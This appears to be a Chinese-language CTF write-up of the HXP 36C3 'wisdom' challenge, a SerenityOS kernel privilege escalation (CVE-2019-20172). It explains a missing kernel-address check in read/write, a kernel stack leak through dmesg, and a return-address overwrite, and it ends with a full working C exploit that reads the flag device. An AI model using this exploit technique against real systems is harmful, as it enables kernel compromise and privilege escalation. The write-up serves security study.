HXP 36C3 CTF wisdom的解题思路

本文首发于安全客:CVE-2019-20172:36C3 wisdom中的SerenityOS内核提权

Description

title

1
2
3
4
5
6
7
8
9
10
11
12
13
Description:

I really, really like this lovingly handcrafted OS. It would be a shame if something happened to it…

This is commit # fd06164fa0cee25ab69c701897de0a4bd03537d6 with the attached patch applied. Flag is in /dev/hdb.

Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 5 minutes and 30 seconds of CPU time, whichever happens first; you may contact us in case this causes problems for you.
Download:

wisdom-601e2adb9f44b61f.tar.xz (9.5 MiB)
Connection:

nc 88.198.156.191 2323

Environment

编译过程参考编译SerenityOS操作系统这篇笔记

1
2
3
ubuntu 20.04
gcc 10.2.0
cmake 3.19.2

编译exp,在Userland/放exp源码

1
gedit ./Userland/test.cpp

先执行一遍../Meta/refresh-serenity-qtcreator.sh,提示Serenety root not set.,设置SERENITY_ROOT

1
2
3
4
export SERENITY_ROOT=/home/sung3r/workspace/serenity/wisdom/serenity-fd06164fa0cee25ab69c701897de0a4bd03537d6

#再执行一遍
../Meta/refresh-serenity-qtcreator.sh

编译Userland

1
make -C ../Userland/

编完后在主机开一个nc服务把exp传过去

1
nc -l -p 5555 < test

serenity里接收test
title

Exploitable

0x01 info leak and kernel r/w

readwrite系统调用时,会先校验buffer指针是否合法,调Process::validate_write
title

Process::validate_writeMemoryManager::validate_user_write
title

MemoryManager::validate_user_writeMemoryManager::region_from_vaddr,参数传了进程句柄和虚拟地址,调用完成后再校验是否可写。
title

因为要exploit kernel,这里得使得kernel_region_from_vaddr这个分支通过,让kernel认为传入地址是在kernel region
title

使得这一分支通过的地址要是>=0xc0000000,即传入>=0xc0000000的地址便可通过调readwrite对kernel region进行读写
title

MemoryManager::initialize_paging()显示kernel space位于>0xc0000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// FIXME: We should move everything kernel-related above the 0xc0000000 virtual mark.

// Basic physical memory map:
// 0 -> 1 MB We're just leaving this alone for now.
// 1 -> 3 MB Kernel image.
// (last page before 2MB) Used by quickmap_page().
// 2 MB -> 4 MB kmalloc_eternal() space.
// 4 MB -> 7 MB kmalloc() space.
// 7 MB -> 8 MB Supervisor physical pages (available for allocation!)
// 8 MB -> MAX Userspace physical pages (available for allocation!)

// Basic virtual memory map:
// 0 -> 4 KB Null page (so nullptr dereferences crash!)
// 4 KB -> 8 MB Identity mapped.
// 8 MB -> 3 GB Available to userspace.
// 3GB -> 4 GB Kernel-only virtual address space (>0xc0000000)

借助dmesg命令可以leak出kernel stack
title

0x02 debug

编辑./Kernel/run,插入一条-s \打开debug端口1234
title

运行serenity,再打开gdb,attach上去

1
2
3
4
#导入kernel symbols
pwndbg> file kernel
#attach
pwndbg> target remote :1234

title

0x03 hijack point

系统调用最终会进到syscall_asm_entry,然后call syscall_handler来调用,调用完后返回到add $0x4, %esp开始执行。kernel stack应该存在许多指向add $0x4, %esp的return address。
title

图中的0x001470C7便是存放在kernel stack的return address
title

gdb在0x001470C7下断点,continue后调试器不断的断下
title

hijack的思路就是在kernel stack中找到0x001470C7这个返回地址,覆盖成读flag的payload

0x04 read flag

flag.txt是以/dev/hdb的形式挂载,但flag.txt并不是文件系统映像,需要调device相关接口函数read flag。
title

Device::get_device去获得/dev/hdb设备
title

对应的major number = 3minor number = 1
title

DiskDevice::read去read flag
title

Script

完整的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <cstring>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/cdefs.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <unistd.h>

void* shared;

void* (*get_device)(int, int) = (void* (*)(int, int))(0x118728);
void* (*device_read)(void*, unsigned int, unsigned int, void*) = (void* (*)(void*, unsigned int, unsigned int, void*))(0x118a46);

#define RETURN_ADDR 0x001470c7

/*
* Finds base of the kernel stack assocaited with our child process
*/
unsigned long find_stackbase()
{
FILE* fp;
char* line = NULL;
char* end = NULL;
size_t len = 0;
ssize_t read;
unsigned long val = 0;

fp = fopen("/proc/dmesg", "r");

while ((read = getline(&line, &len, fp)) != -1) {
}

//puts(line);
line = strstr(line, "@") + 2;
end = strstr(line, " ");
*end = 0;

fclose(fp);

//strtoul is broken so we chop off the highest nibble and add it back in after
val = strtoul(line + 3, NULL, 16);
val |= 0xC0000000;
//printf("%lu\n", val);

return val;
}

/*
* Finds the address on the stack that stores the return address we want to overwrite.
*/
unsigned long find_hijack(unsigned long stack_base)
{
int p[2]; //p[0]:out; p[1]:in
char buf[0x1000] = {};
unsigned long addr;

pipe(p);

addr = stack_base;

for (int i = 0; i < 0x10000; i += 0x1000) {
write(p[1], (void*)(addr + i), 0x1000);
read(p[0], buf, 0x1000);
for (int j = 0; j < 0x1000 - 0x4; j += 4) {
uint32_t ret = *(uint32_t*)(buf + j);
if (ret == RETURN_ADDR) {
return addr + i + j;
}
}
}
return 0;
}

unsigned long sleep_child()
{
sleep(2);
printf("never getting here!\n");
exit(0);
}

void payload()
{
void* dev = get_device(3, 1);
device_read(dev, 0, 512, shared);

// crash the child process cause why not
*(unsigned long*)0x41414141 = 0x31313131;
}

int main(int, char**)
{
unsigned long stackbase = 0;
unsigned long hijack = 0;
unsigned long payload_ptr;
int p[2];

shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
printf("mmap addr: %p\n", shared);

if (fork() == 0) {
sleep_child();
}

sleep(1);
stackbase = find_stackbase();
printf("stackbase at %lx\n", stackbase);

hijack = find_hijack(stackbase);
printf("hijack at %lx\n", hijack);

// overwrite return address
payload_ptr = (unsigned long)&payload;

pipe(p);
write(p[1], &payload_ptr, 4);
read(p[0], (void *)hijack, 4);

sleep(2);

printf("flag is %s\n", (char *)shared);

return 1;
}

title

⬆︎TOP